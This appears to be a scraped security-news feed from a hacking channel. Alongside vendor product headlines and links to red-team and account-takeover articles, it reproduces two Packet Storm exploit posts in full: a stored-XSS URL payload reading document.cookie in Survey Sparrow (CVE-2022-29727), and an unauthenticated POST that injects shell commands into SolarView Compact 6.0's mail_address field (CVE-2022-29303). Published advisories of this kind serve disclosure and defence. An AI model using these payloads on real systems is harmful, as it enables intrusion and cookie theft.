Dark Reading: Attacks/Breaches
Bitdefender Launches Identity Theft Protection Service for U.S. Consumers

New offering provides credit and financial monitoring along with identity protection and restoration.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Ericom’s New ZTEdge Web Application Isolation Addresses Security Concerns Associated With Third-Party Contractor Application Access

Enables organizations to provide simple, secure access to the private and public cloud or Web-based corporate apps that workers using unmanaged devices need for their work.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
YouMail Launches YouMail Protective Services for Carriers and Enterprises

Protect enterprises from the harm of unwanted voice-based phishing perpetrated by bad actors.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Google Cloud Aims to Share Its Vetted Open Source Ecosystem

The online giant analyzes, patches, and maintains its own versions of open source software, and now the company plans to give others access to its libraries and components as a subscription.

Dark Reading: Attacks/Breaches
Qualys Adds Custom Assessment and Remediation to Its Cloud Platform

Provides security architects with access to custom scripts that can be natively integrated with other Qualys solutions.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Barracuda Expands Cloud-Native SASE Platform to Protect Hybrid Cloud Deployments

Expansion includes new capabilities for hybrid deployment models and industrial Internet of things (IIoT) environments.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Local Government's Guide to Minimizing the Risk of a Cyberattack

Most local leaders lack cybersecurity resources so they don't know where their weaknesses are and which areas threat actors are most likely to target, with little focus or understanding of risk.

Nighthawk 0.2 - Catch Us If you Can - @MDSecLabs
https://www.reddit.com/r/redteamsec/comments/urr1gj/nighthawk_02_catch_us_if_you_can_mdseclabs/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.mdsec.co.uk/2022/05/nighthawk-0-2-catch-us-if-you-can/) [comments] (https://www.reddit.com/r/redteamsec/comments/urr1gj/nighthawk_02_catch_us_if_you_can_mdseclabs/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
IAT-Hooking Bypass

https://cdn-images-1.medium.com/max/930/1*IC3Frg-GN4gZTH9q71MadA.png
Hello guys welcome to my first Blogpost. I recently started learning about the concept of IAT-Hooking and I got an idea on how to bypass…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Want to learn Account Takeover? I got you
https://faiyazhacks.medium.com/want-to-learn-account-takeover-i-got-you-971797521530?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

IntroductionContinue reading on Medium » (https://faiyazhacks.medium.com/want-to-learn-account-takeover-i-got-you-971797521530?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Survey Sparrow Enterprise Survey Software 2022 Cross Site Scripting

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
Survey Sparrow Enterprise Survey Software 2022 suffers from a persistent cross site scripting vulnerability.

SHA-256 | afd7b7d6dc71690c8e9b74e168637e22184d16b38d583b0e4f0fc7f27fe83aad

Download
# Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
# Date: May 11 2022
# Exploit Author: Pankaj Kumar Thakur
# Vendor Homepage: https://surveysparrow.com/
# Software Link: https://surveysparrow.com/enterprise-survey-software/
# Version: 2022
# Tested on: Windows
# CVE : CVE-2022-29727
# References:
https://www.tenable.com/cve/CVE-2022-29727
https://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022

#POC

For Stored XSS

Visit
https://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//

XSS Executed


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SolarView Compact 6.0 Command Injection

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
SolarView Compact version 6.0 suffers from a command injection vulnerability.

SHA-256 | 893deed2e4181f38ba09efbd6381b56f6ca00311c05547810779183d11af7196

Download
# Exploit Title: SolarView Compact 6.0 - OS Command Injection
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29303
# Tested on: Windows

# Exploit
# HTTP Request :
POST /conf_mail.php HTTP/1.1
Host: HOST_IP
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://HOST_IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://HOST_IP/conf_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mail_address=%3Bid%3Bwhoami%3Bpwd%3Bls%3B&button=%83%81%81%5B%83%8B%91%97%90M


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video